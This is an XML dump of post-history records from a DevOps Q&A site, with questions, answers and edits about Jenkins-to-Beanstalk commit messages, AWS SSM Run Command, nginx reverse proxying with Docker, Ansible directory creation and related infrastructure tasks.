  <row Id="10238" PostHistoryTypeId="2" PostId="3263" RevisionGUID="b1338ad1-87cd-434e-8be2-48d23740d63a" CreationDate="2018-02-05T09:44:27.673" UserId="6307" Text="As part of our CI setup I am using AWS Beanstalk&#xD;&#xA;deployment plugin to deploy my application through jenkins.&#xD;&#xA;&#xD;&#xA;The issue is I am getting git commit hash in beanstalk&#xD;&#xA;application versions description.&#xD;&#xA;I want to have the commit message instead.&#xD;&#xA;I was able to output the message in jenkins console output using the execute shell step.&#xD;&#xA;but for some reason I can't seem to transfer it to beanstalk.&#xD;&#xA;If I'm using eb deploy the description contains the commit message.&#xD;&#xA;I am getting a blank description with ${ENV,var=&quot;MESSAGE&quot;} in beanstalk.&#xD;&#xA;&#xD;&#xA;Would appriciate any help on how to have the commit message&#xD;&#xA;in beanstalk application versions.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;[![pic1][1]][1]&#xD;&#xA;[![pic2][2]][2]&#xD;&#xA;[![pic3][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/DdSfN.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/wxSvh.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/tCRt9.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="10239" PostHistoryTypeId="1" PostId="3263" RevisionGUID="b1338ad1-87cd-434e-8be2-48d23740d63a" CreationDate="2018-02-05T09:44:27.673" UserId="6307" Text="Github commit message when deploying to aws beanstalk in Jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="10240" PostHistoryTypeId="3" PostId="3263" RevisionGUID="b1338ad1-87cd-434e-8be2-48d23740d63a" CreationDate="2018-02-05T09:44:27.673" UserId="6307" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;jenkins-plugins&gt;&lt;github&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10241" PostHistoryTypeId="2" PostId="3264" RevisionGUID="269411b9-9f8b-4da9-9552-618254caeaec" CreationDate="2018-02-05T15:10:08.270" UserId="3" Text="According to [New EC2 Run Command][1] news article, AWS CLI should support a new sub-command to execute scripts on remote EC2 instances.&#xD;&#xA;&#xD;&#xA;However I've checked in `aws ec2 help`, but I can't find the relevant command.&#xD;&#xA;&#xD;&#xA;I've installed `aws` via `apt-get`:&#xD;&#xA;&#xD;&#xA;    $ aws --version&#xD;&#xA;    aws-cli/1.14.32 Python/3.5.4 Linux/4.12.7-64 botocore/1.8.36&#xD;&#xA;&#xD;&#xA;Which sub-command I should look for and what's the syntax to run, let say `ipconfig` in *PowerShell* on the remote EC2 instance?&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/aws/new-ec2-run-command-remote-instance-management-at-scale/&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10242" PostHistoryTypeId="1" PostId="3264" RevisionGUID="269411b9-9f8b-4da9-9552-618254caeaec" CreationDate="2018-02-05T15:10:08.270" UserId="3" Text="How to run a script or a command on EC2 instance via AWS CLI?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10243" PostHistoryTypeId="3" PostId="3264" RevisionGUID="269411b9-9f8b-4da9-9552-618254caeaec" CreationDate="2018-02-05T15:10:08.270" UserId="3" Text="&lt;amazon-ec2&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10244" PostHistoryTypeId="5" PostId="3263" RevisionGUID="2bee55f8-7fa8-417a-99bc-cd539853075a" CreationDate="2018-02-05T15:11:07.253" UserId="3" Comment="added 2 characters in body" Text="As part of our CI setup I am using AWS Beanstalk&#xD;&#xA;deployment plugin to deploy my application through Jenkins.&#xD;&#xA;&#xD;&#xA;The issue is I am getting git commit hash in beanstalk&#xD;&#xA;application versions description.&#xD;&#xA;I want to have the commit message instead.&#xD;&#xA;I was able to output the message in Jenkins console output using the execute shell step.&#xD;&#xA;but for some reason I can't seem to transfer it to beanstalk.&#xD;&#xA;If I'm using eb deploy the description contains the commit message.&#xD;&#xA;I am getting a blank description with `${ENV,var=&quot;MESSAGE&quot;}` in beanstalk.&#xD;&#xA;&#xD;&#xA;Would appreciate any help on how to have the commit message&#xD;&#xA;in beanstalk application versions.&#xD;&#xA;&#xD;&#xA;[![pic1][1]][1]&#xD;&#xA;[![pic2][2]][2]&#xD;&#xA;[![pic3][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/DdSfN.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/wxSvh.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/tCRt9.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="10248" PostHistoryTypeId="50" PostId="2749" RevisionGUID="b8b2c1bf-23f0-4adf-aa40-f7df613b1859" CreationDate="2018-02-05T20:55:10.003" UserId="-1" />
  <row Id="10249" PostHistoryTypeId="5" PostId="3255" RevisionGUID="8635e82c-2175-4c62-8d0f-24508edc6ebb" CreationDate="2018-02-06T04:01:50.607" UserId="4328" Comment="added 129 characters in body" Text="Artifactory is a binary repository management system developed by JFrog to manage and store artifacts in a centralized location. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10250" PostHistoryTypeId="24" PostId="3255" RevisionGUID="8635e82c-2175-4c62-8d0f-24508edc6ebb" CreationDate="2018-02-06T04:01:50.607" Comment="Proposed by 4328 approved by 40, 47 edit id of 601" ContentLicense="CC BY-SA 3.0" />
  <row Id="10251" PostHistoryTypeId="2" PostId="3266" RevisionGUID="fbcb7fbb-6da2-4b1e-8461-f0dedba2fb1f" CreationDate="2018-02-06T06:32:37.360" UserId="3628" Text="I have been using AWS for a while now. I always have the difficulty tracking AWS resources and how they are interconnected. Obviously, I am using Terraform but still, there is always ad-hoc operations that cut down my visibility.&#xD;&#xA;&#xD;&#xA;Tools suggestions are also welcome." ContentLicense="CC BY-SA 3.0" />
  <row Id="10252" PostHistoryTypeId="1" PostId="3266" RevisionGUID="fbcb7fbb-6da2-4b1e-8461-f0dedba2fb1f" CreationDate="2018-02-06T06:32:37.360" UserId="3628" Text="How to track unused resources in AWS?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10253" PostHistoryTypeId="3" PostId="3266" RevisionGUID="fbcb7fbb-6da2-4b1e-8461-f0dedba2fb1f" CreationDate="2018-02-06T06:32:37.360" UserId="3628" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10258" PostHistoryTypeId="2" PostId="3269" RevisionGUID="a4281a65-db41-4002-83cc-a72580e3a5d9" CreationDate="2018-02-06T13:40:27.197" UserId="6258" Text="To run ipconfig from the AWS Systems Manager Run Command:&#xD;&#xA;&#xD;&#xA;    $ aws ssm send-command --document-name &quot;AWS-RunPowerShellScript&quot; --instance-ids &quot;&lt;your instance id&gt;&quot; --parameters commands=ipconfig &#xD;&#xA;&#xD;&#xA;This assumes you have your AWS credentials and CLI configured properly.  See https://docs.aws.amazon.com/systems-manager/latest/userguide/walkthrough-cli.html for more information." ContentLicense="CC BY-SA 3.0" />
  <row Id="10261" PostHistoryTypeId="5" PostId="3269" RevisionGUID="b40b142b-4444-47e0-aba9-59417ef458ea" CreationDate="2018-02-06T15:32:31.417" UserId="3" Comment="Improves post formatting and adds extra note." Text="To run ipconfig from the AWS Systems Manager Run Command:&#xD;&#xA;&#xD;&#xA;    $ aws ssm send-command --document-name &quot;AWS-RunPowerShellScript&quot; --instance-ids &quot;&lt;your instance id&gt;&quot; --parameters commands=ipconfig&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Note: If you've got the error, consider specifying the right `--region`.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;This assumes you have your AWS credentials and CLI configured properly. See [Systems Manager Run Command Walkthrough Using the AWS CLI](https://docs.aws.amazon.com/systems-manager/latest/userguide/walkthrough-cli.html) for more information." ContentLicense="CC BY-SA 3.0" />
  <row Id="10262" PostHistoryTypeId="5" PostId="3253" RevisionGUID="167b7b0d-62ce-4b0e-bdc5-63fdc241f470" CreationDate="2018-02-06T15:39:19.217" UserId="6375" Comment="Remove unnecessary space, correct grammar, rearrange content and adding tags" Text="I have two running docker containers:&#xD;&#xA;&#xD;&#xA; 1. A Docker container running Nginx that serves Angular app resource files that were copied into the Docker image on docker build&#xD;&#xA; 2. A Docker container that is an api that is current listening on port 5007 internally on the container and 5007 externally on the host machine&#xD;&#xA;&#xD;&#xA;I am setting up a staging environment and the following external urls:&#xD;&#xA;&#xD;&#xA; - app.staging.mysite.com&#xD;&#xA; - account.staging.mysite.com&#xD;&#xA;&#xD;&#xA;app.staging.mysite.com hits port 80 and responds with the Angular app resources no problem.&#xD;&#xA;&#xD;&#xA;Now I want to get *account.staging.mysite.com* external API URL request to hit my API Docker container listening on port 5007. Requests from *account.staging.mysite.com* will hit port 80 of the host machine. &#xD;&#xA;&#xD;&#xA;Nginx will receive the *account.staging.mysite.com* port 80 requests and proxy them to Docker container *127.0.0.1:5007* while at the same time still serve my Angular app file by default for all external urls/ domains that I do not explicitly express for proxy in my Nginx config.&#xD;&#xA;&#xD;&#xA;Instead of serving my Angular app I would like to use Nginx to forward the request to port 5007 so the my Account API can response. So I have altered my Nginx config to the following:&#xD;&#xA;&#xD;&#xA;    upstream accountstaging{&#xD;&#xA;        server 0.0.0.0:5007&#xD;&#xA;    }&#xD;&#xA;    server {&#xD;&#xA;        listen 80 default_server;&#xD;&#xA;    	listen [::]:80 default_server;&#xD;&#xA;    	server_name _;&#xD;&#xA;    &#xD;&#xA;        # Main&#xD;&#xA;        location / {&#xD;&#xA;            root   /usr/share/nginx/html;&#xD;&#xA;            index  index.html index.htm;&#xD;&#xA;            try_files $uri$args $uri$args/ /index.html;&#xD;&#xA;        }&#xD;&#xA;        error_page   500 502 503 504  /50x.html;&#xD;&#xA;        location = /50x.html {&#xD;&#xA;            root   /usr/share/nginx/html;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    server {&#xD;&#xA;        listen 80;&#xD;&#xA;        server_name account.staging.mysite.com;&#xD;&#xA;    &#xD;&#xA;        location / {&#xD;&#xA;            proxy_pass         http://accountstaging;&#xD;&#xA;            proxy_redirect     off;&#xD;&#xA;            proxy_set_header   Host $host;&#xD;&#xA;            proxy_set_header   X-Real-IP $remote_addr;&#xD;&#xA;            proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;&#xD;&#xA;            proxy_set_header   X-Forwarded-Host $server_name;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The thing that really surprises me is now there is no default_server hits. In other words, *app.staging.mysite.com*, which was working and responding with my Angular app resources is no longer working when I added the second server listening on port 80 specifically for *account.staging.mysite.com*.&#xD;&#xA;&#xD;&#xA;So really this question is not that much about Docker containers, this is really about Nginx configuration. Though I am not entirely sure that my Docker containers could be excluded from being part of the problem. So here is my docker-compose.yml for *account.staging.mysite.com*:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      apistaging:&#xD;&#xA;        build: &#xD;&#xA;          context: ./&#xD;&#xA;          dockerfile: docker/staging/Dockerfile&#xD;&#xA;        image: tsl.api.account.image&#xD;&#xA;        container_name: tsl.api.account.container&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;5007:5007&quot;&#xD;&#xA;        environment: &#xD;&#xA;          ASPNETCORE_URLS: http://+:5007&#xD;&#xA;&#xD;&#xA;And here is my docker-compose.yml for app.staging.mysite.com:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      frontend:&#xD;&#xA;        build: &#xD;&#xA;          context: ./&#xD;&#xA;          dockerfile: docker/Dockerfile&#xD;&#xA;        image: tsl.web.frontend.image&#xD;&#xA;        container_name: tsl.web.frontend.container&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;&#xD;&#xA;Here is my Docker file for Nginx that serves my Angular app and is hopefully going to act as a reverse proxy as well, you can see that Nginx default_server servers my Angular app resource files that I copied into this Docker image on docker build:&#xD;&#xA;&#xD;&#xA;    FROM centos:7&#xD;&#xA;    MAINTAINER Brian Ogden&#xD;&#xA;     &#xD;&#xA;    # Not currently being used but may come in handy&#xD;&#xA;    ARG ENVIRONMENT&#xD;&#xA;    ENV NODE_VERSION 6.11.1&#xD;&#xA;     &#xD;&#xA;    RUN yum -y update &amp;&amp; \&#xD;&#xA;        yum clean all &amp;&amp; \&#xD;&#xA;        yum -y install http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm \&#xD;&#xA;        yum -y makecache &amp;&amp; \&#xD;&#xA;        yum -y install nginx-1.12.0 wget&#xD;&#xA;     &#xD;&#xA;    # Cleanup some default NGINX configuration files we don’t need&#xD;&#xA;    RUN rm /etc/nginx/conf.d/default.conf&#xD;&#xA;     &#xD;&#xA;    #############################################&#xD;&#xA;    # NodeJs Install&#xD;&#xA;    #############################################&#xD;&#xA;    &#xD;&#xA;    #Download NodeJs package&#xD;&#xA;    RUN wget -q -O - https://nodejs.org/dist/v$NODE_VERSION/node-v$NODE_VERSION-linux-x64.tar.gz \&#xD;&#xA;        | tar --strip-components=1 -xzf - -C /usr/local&#xD;&#xA;    &#xD;&#xA;    # https://stackoverflow.com/a/35774741/1258525&#xD;&#xA;    # use changes to package.json to force Docker not to use the cache&#xD;&#xA;    # when we change our application's nodejs dependencies:&#xD;&#xA;    COPY ./package.json /tmp/package.json&#xD;&#xA;    RUN cd /tmp &amp;&amp; npm install&#xD;&#xA;    RUN mkdir /app &amp;&amp; cp -a /tmp/node_modules /app/&#xD;&#xA;     &#xD;&#xA;    WORKDIR /app&#xD;&#xA;    COPY . /app&#xD;&#xA;     &#xD;&#xA;    RUN npm run build-$ENVIRONMENT&#xD;&#xA;     &#xD;&#xA;    RUN cd /app &amp;&amp; cp -a dist/* /usr/share/nginx/html&#xD;&#xA;    COPY ./docker/conf/frontend.conf /etc/nginx/conf.d/frontend.conf&#xD;&#xA;    COPY ./docker/conf/nginx.conf /etc/nginx/nginx.conf     &#xD;&#xA;     &#xD;&#xA;    EXPOSE 80&#xD;&#xA;     &#xD;&#xA;    CMD [&quot;nginx&quot;]&#xD;&#xA;&#xD;&#xA;Is this issue possibly because of 80:80 binding for the Angular app frontend docker container?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10263" PostHistoryTypeId="6" PostId="3253" RevisionGUID="167b7b0d-62ce-4b0e-bdc5-63fdc241f470" CreationDate="2018-02-06T15:39:19.217" UserId="6375" Comment="Remove unnecessary space, correct grammar, rearrange content and adding tags" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;node.js&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10264" PostHistoryTypeId="24" PostId="3253" RevisionGUID="167b7b0d-62ce-4b0e-bdc5-63fdc241f470" CreationDate="2018-02-06T15:39:19.217" Comment="Proposed by 6375 approved by 40, 4790 edit id of 603" ContentLicense="CC BY-SA 3.0" />
  <row Id="10265" PostHistoryTypeId="5" PostId="3269" RevisionGUID="da21eb8d-74c0-4dac-87c3-24d6b32422ce" CreationDate="2018-02-06T15:47:59.173" UserId="3" Comment="Adds extra example." Text="To run ipconfig from the AWS Systems Manager Run Command:&#xD;&#xA;&#xD;&#xA;    $ aws ssm send-command --document-name &quot;AWS-RunPowerShellScript&quot; --instance-ids &quot;&lt;your instance id&gt;&quot; --parameters commands=ipconfig&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Note: If you've got the error, consider specifying the right `--region`.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;This assumes you have your AWS credentials and CLI configured properly. See [Systems Manager Run Command Walkthrough Using the AWS CLI](https://docs.aws.amazon.com/systems-manager/latest/userguide/walkthrough-cli.html) for more information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Here is the practical shell command example of sending and getting the command output:&#xD;&#xA;&#xD;&#xA;    cmdid=$(aws ssm send-command --instance-ids &quot;i-ch3ng3th1s&quot; --document-name &quot;AWS-RunPowerShellScript&quot; --parameters commands=ipconfig --query &quot;Command.CommandId&quot; --output text)&#xD;&#xA;    aws ssm list-command-invocations --command-id &quot;$cmdid&quot; --details --query &quot;CommandInvocations[*].CommandPlugins[*].Output[]&quot; --output text&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10267" PostHistoryTypeId="2" PostId="3271" RevisionGUID="7f424d5e-f69b-4af4-a159-31cd4bd1941c" CreationDate="2018-02-06T16:22:50.077" UserId="531" Text="if you wish to do it purely with AWS provided tools&#xD;&#xA;&#xD;&#xA;figure out a tagging scheme that works for you&#xD;&#xA;&#xD;&#xA;tag all the resources you provision, make sure nothing is left untagged&#xD;&#xA;&#xD;&#xA;for stuff you provision outside of the terraform and are not always tagged correctly by your tagging scheme, use AWS Config service to enforce the tagging scheme&#xD;&#xA;&#xD;&#xA;after you have all of your resources tagged, use AWS Budgets to monitor and tracked down changes in you spend and get alerts when it crosses the budget threshold you define&#xD;&#xA;&#xD;&#xA;and also create and periodically go over some reports within the AWS Costs explorer to find daily changes in region spend / service spend / etc&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;using a strict and meaningful tagging scheme helps maintain a healthy account with less money going to waste&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10268" PostHistoryTypeId="2" PostId="3272" RevisionGUID="cd88c4d1-bb8f-4b0f-a1e0-dd503678692d" CreationDate="2018-02-06T17:32:58.200" UserDisplayName="user6326" Text="This my ansible script &#xD;&#xA;&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      tasks:&#xD;&#xA;        - file:&#xD;&#xA;           name: add dir&#xD;&#xA;           path: /etc/ansible/roles/webservers/'{{item}}'&#xD;&#xA;           state: directory&#xD;&#xA;           mode: 0755&#xD;&#xA;           owner: nikola&#xD;&#xA;          vars:&#xD;&#xA;           dir_list:&#xD;&#xA;            - handlers&#xD;&#xA;            - vars&#xD;&#xA;            - defaults&#xD;&#xA;            - meta&#xD;&#xA;          with_items: ' {{ dir_list }} '&#xD;&#xA;&#xD;&#xA;and this is the output from `--check` option&#xD;&#xA;&#xD;&#xA;    PLAY [localhost] ****************************************************************************************************************************************************************************************************************************&#xD;&#xA;    &#xD;&#xA;    TASK [Gathering Facts] **********************************************************************************************************************************************************************************************************************&#xD;&#xA;    ok: [localhost]&#xD;&#xA;    &#xD;&#xA;    TASK [file] *********************************************************************************************************************************************************************************************************************************&#xD;&#xA;    ok: [localhost] =&gt; (item=handlers)&#xD;&#xA;    ok: [localhost] =&gt; (item=vars)&#xD;&#xA;    ok: [localhost] =&gt; (item=defaults)&#xD;&#xA;    ok: [localhost] =&gt; (item=meta)&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP **********************************************************************************************************************************************************************************************************************************&#xD;&#xA;    localhost                  : ok=2    changed=0    unreachable=0    failed=0&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10269" PostHistoryTypeId="1" PostId="3272" RevisionGUID="cd88c4d1-bb8f-4b0f-a1e0-dd503678692d" CreationDate="2018-02-06T17:32:58.200" UserDisplayName="user6326" Text="Ansible do not create directories CentOS7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10270" PostHistoryTypeId="3" PostId="3272" RevisionGUID="cd88c4d1-bb8f-4b0f-a1e0-dd503678692d" CreationDate="2018-02-06T17:32:58.200" UserDisplayName="user6326" Text="&lt;ansible&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10271" PostHistoryTypeId="2" PostId="3273" RevisionGUID="89180bd5-0e44-4d48-bcaa-9329af3efe27" CreationDate="2018-02-06T18:12:10.063" UserId="3509" Text="You have two mistakes:&#xD;&#xA;&#xD;&#xA;1. `name` as parameter of `file` module. It is an alias of `path`, so you actually try to create directory `add dir`.&#xD;&#xA;&#xD;&#xA;2. Unnecessary single quotes in `path`, giving you actual paths like `etc/ansible/roles/webservers/'handlers'`.&#xD;&#xA;&#xD;&#xA;Try with:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    - name: add dir&#xD;&#xA;      file:&#xD;&#xA;        path: '/etc/ansible/roles/webservers/{{ item }}'&#xD;&#xA;    ..." ContentLicense="CC BY-SA 3.0" />
  <row Id="10272" PostHistoryTypeId="2" PostId="3274" RevisionGUID="5e60e804-0fa9-4ce6-8861-2c7dbce18059" CreationDate="2018-02-06T19:45:12.550" UserId="4790" Text="I was able to finally figure out what was going on here, I first broke the problem down even further, and you can find my solution [here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://serverfault.com/a/895960/176115" ContentLicense="CC BY-SA 3.0" />
  <row Id="10273" PostHistoryTypeId="2" PostId="3275" RevisionGUID="31fd1002-086f-44c9-b7ea-cdb2f044b60a" CreationDate="2018-02-06T22:02:32.497" UserId="5879" Text="I currently have a Docker compose based web app that uses Nginx as a reverse proxy that forwards traffic to a Flask and Grafana docker instance. The task at hand is to integrate a SSG (static site generator) such as Jekyll into the setup.&#xD;&#xA;&#xD;&#xA;The most straight forward approach is to:&#xD;&#xA;&#xD;&#xA;1. have a [Jekyll container][1] continually run and serve the static aspect of the site via Nginx redirects (`jekyll serve`).&#xD;&#xA;2. [Another approach][2] would be to run the build command in the Jekyll docker image and have the output be shared via docker volumes with Nginx.&#xD;&#xA;3. [Yet another][3] is to generate the site in the Nginx container&#xD;&#xA;&#xD;&#xA;The downside with the first two solutions is that they create a Jekyll docker instance that is only used once and then persists. In 1.'s case, the serving can be directly handled by Nginx. In 3.'s case, there is no separation between Jekyll and Nginx. This would be useful since Nginx is also responsible for routing traffic to the other Docker instances.&#xD;&#xA;&#xD;&#xA;The question is, is there a way to populate a Docker volume with a Dockerfile by Jekyll so that this can then be mounted by Nginx? Step by step:&#xD;&#xA;&#xD;&#xA;1. `docker-compose build`: build the site and populate the *static-site* volume&#xD;&#xA;2. `docker-compose up -d`: Nginx mounts the *static-site* volume and serves it&#xD;&#xA;&#xD;&#xA;Does this approach even make sense?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kristofclaes.github.io/2016/06/19/running-jekyll-locally-with-docker/&#xD;&#xA;  [2]: https://blog.nimbleci.com/2016/08/10/how-to-deploy-a-jekyll-blog-in-docker/&#xD;&#xA;  [3]: https://habd.as/simple-websites-jekyll-docker/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10274" PostHistoryTypeId="1" PostId="3275" RevisionGUID="31fd1002-086f-44c9-b7ea-cdb2f044b60a" CreationDate="2018-02-06T22:02:32.497" UserId="5879" Text="How to populate docker volumes in a build step to be used by a different container" ContentLicense="CC BY-SA 3.0" />
  <row Id="10275" PostHistoryTypeId="3" PostId="3275" RevisionGUID="31fd1002-086f-44c9-b7ea-cdb2f044b60a" CreationDate="2018-02-06T22:02:32.497" UserId="5879" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10276" PostHistoryTypeId="50" PostId="2836" RevisionGUID="65e61cd9-5f0b-4e06-b6be-36c1981a1f65" CreationDate="2018-02-06T22:05:49.387" UserId="-1" />
  <row Id="10277" PostHistoryTypeId="2" PostId="3276" RevisionGUID="d9584173-6dbe-4d15-9aeb-e505233a2a9b" CreationDate="2018-02-06T23:37:29.327" UserId="4175" Text="`docker-compose` is just a glorified wrapper around `docker` which gives you a nice textual representation of all the options you would regularly give to `docker build` or `docker run`. Plus, of course, it bundles several docker images/containers together. That said, it has no provisions to run anything else than you would get by calling `docker`.&#xD;&#xA;&#xD;&#xA;I don't see how you would use `docker-compose build` to populate a volume. Volumes are, by definition, not living inside docker images/containers, but outside (on the host system). `docker build` never writes to the host system, and you cannot mount volumes during `docker build`. `docker-compose build` basically only runs `docker build` for you, and that also has no way to run or write anything on the host.&#xD;&#xA;&#xD;&#xA;So, no, `docker-build compose` will not be able to create the static file.&#xD;&#xA;&#xD;&#xA;You could make your compose file so that it runs your generator (inside a docker container, writing to a named volume), and runs your server (nginx or whatever) in another container, mounting the same named volume (this would be your case 2, I believe). Then, with `docker-compose up`, it would fire up both those containers. The first one would populate your static files; the second would serve. The first would hang around and do nothing afterwards, which you could just ignore, but which would certainly be ugly. Unfortunately, you cannot use something like `docker-compose up --rm` to automaticalle the unneccessary jekyll container.&#xD;&#xA;&#xD;&#xA;So, your best bet is to start the jekyll container yourself (`docker run --rm jekyll:xyz -v ...:...`), the `--rm` will remove the container after it is finished. Then `docker-compuse up` with the actual server(s)." ContentLicense="CC BY-SA 3.0" />
  <row Id="10278" PostHistoryTypeId="5" PostId="3276" RevisionGUID="bf987777-ad80-49f1-9b3e-95daee2d5de9" CreationDate="2018-02-06T23:59:22.513" UserId="4175" Comment="deleted 4 characters in body" Text="`docker-compose` is just a glorified wrapper around `docker` which gives you a nice textual representation of all the options you would regularly give to `docker build` or `docker run`. Plus, of course, it bundles several docker images/containers together. That said, it has no provisions to run anything else than you would get by calling `docker`.&#xD;&#xA;&#xD;&#xA;I don't see how you would use `docker-compose build` to populate a volume. Volumes are, by definition, not living inside docker images/containers, but outside (on the host system). `docker build` never writes to the host system, and you cannot mount volumes during `docker build`. `docker-compose build` basically only runs `docker build` for you, and also has no way to run or write anything on the host.&#xD;&#xA;&#xD;&#xA;So, no, `docker-compose build` will not be able to create the static files.&#xD;&#xA;&#xD;&#xA;You could make your compose file so that it runs your generator (inside a docker container, writing to a named volume), and runs your server (nginx or whatever) in another container, mounting the same named volume (this would be your case 2, I believe). Then, with `docker-compose up`, it would fire up both those containers. The first one would populate your static files; the second would serve. The first would hang around and do nothing afterwards, which you could just ignore, but which would certainly be ugly. Unfortunately, you cannot use something like `docker-compose up --rm` to automatically the unneccessary jekyll container.&#xD;&#xA;&#xD;&#xA;So, your best bet is to start the jekyll container yourself (`docker run --rm jekyll:xyz -v ...:...`), the `--rm` will remove the container after it is finished. Then `docker-compose up` with the actual server(s)." ContentLicense="CC BY-SA 3.0" />
  <row Id="10283" PostHistoryTypeId="4" PostId="3272" RevisionGUID="2691fa1a-11d9-4cb1-811c-c7fa8c6e9d69" CreationDate="2018-02-07T02:22:12.223" UserId="47" Comment="fixed grammar" Text="Ansible does not create directories CentOS7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10284" PostHistoryTypeId="2" PostId="3278" RevisionGUID="c591ad15-77f1-4f43-9686-58f774374db1" CreationDate="2018-02-07T05:50:41.827" UserId="6397" Text="I would like to improve the automation and performance when managing VMs using Ansible. One of my use cases is to install custom software on a variety of operating systems i.e Red-Hat, Ubuntu, Centos. This software is distributed using single-file installers.  For instance, installing a mySQL database on Red-Hat and Centos. &#xD;&#xA;&#xD;&#xA;I recently learned about &quot;repository managers&quot; (or something similar). I don't know exactly where to look/learn more about what are the tools out there. I also don't know what the official terminology is. &#xD;&#xA;&#xD;&#xA;This repository is ideally straightforward to use i.e, I just put a binary there, classify it with some tags[?] maybe like 64-bit, version 3.3, Centos. &#xD;&#xA;&#xD;&#xA;Currently, I have this. But I don't really like hosting the binary on an NFS server&#xD;&#xA;&#xD;&#xA;    name: Get mySQL binary&#xD;&#xA;    command: &quot;find {{ nfs }} -name \&quot;*mysql*\&quot;&quot;&#xD;&#xA;    register: mySQL_location &#xD;&#xA;    &#xD;&#xA;    name: Install mySQL&#xD;&#xA;    command: &quot;{{mySQL_location.stdout}} --option 1 --option 2&#xD;&#xA;    become: yes&#xD;&#xA;&#xD;&#xA;A typical use case would look like this&#xD;&#xA;&#xD;&#xA; - I want to install `Software A` on Centos&#xD;&#xA; - I use Ansible to get the appropriate OS specific version of `Software A` from a &quot;central repository&quot;&#xD;&#xA; - I use an Ansible module and specify version, OS, etc, and that downloads that binary (or binaries) to the VM. This should be fast since it will be over the local network, even for binaries of 100 MB+. Afterwards, Ansible installs it. &#xD;&#xA; - The Ansible role would be configurable to affect the installation settings, etc.  &#xD;&#xA; - Next, I want to reuse the same role to easily do the same for, let's say Red-Hat&#xD;&#xA;&#xD;&#xA;My goal is to have the Ansible playbooks be easily maintainable when a new version comes out, without, having to change anything in a playbook, just swap/add a new binary in the repository for a new version of `Software A`&#xD;&#xA;&#xD;&#xA;I understand that the YUM package manager does this in a way, however, I am wondering what other options (if any) are out there. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10285" PostHistoryTypeId="1" PostId="3278" RevisionGUID="c591ad15-77f1-4f43-9686-58f774374db1" CreationDate="2018-02-07T05:50:41.827" UserId="6397" Text="Central repository hosting various binaries/applications for different platforms/architectures" ContentLicense="CC BY-SA 3.0" />
  <row Id="10286" PostHistoryTypeId="3" PostId="3278" RevisionGUID="c591ad15-77f1-4f43-9686-58f774374db1" CreationDate="2018-02-07T05:50:41.827" UserId="6397" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10287" PostHistoryTypeId="2" PostId="3279" RevisionGUID="58910033-a12a-4b71-add6-0cde3591f55a" CreationDate="2018-02-07T08:34:46.790" UserId="4613" Text="Assuming a user initiates a Jenkins job, passing some input parameters.&#xD;&#xA;&#xD;&#xA;Is there a way, at some point to have the Jenkins job trigger a `gitlab-ci`, and also pass to it (i.e. the `gitlab` pipeline) some input parameters which the latter will use as environment variables?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
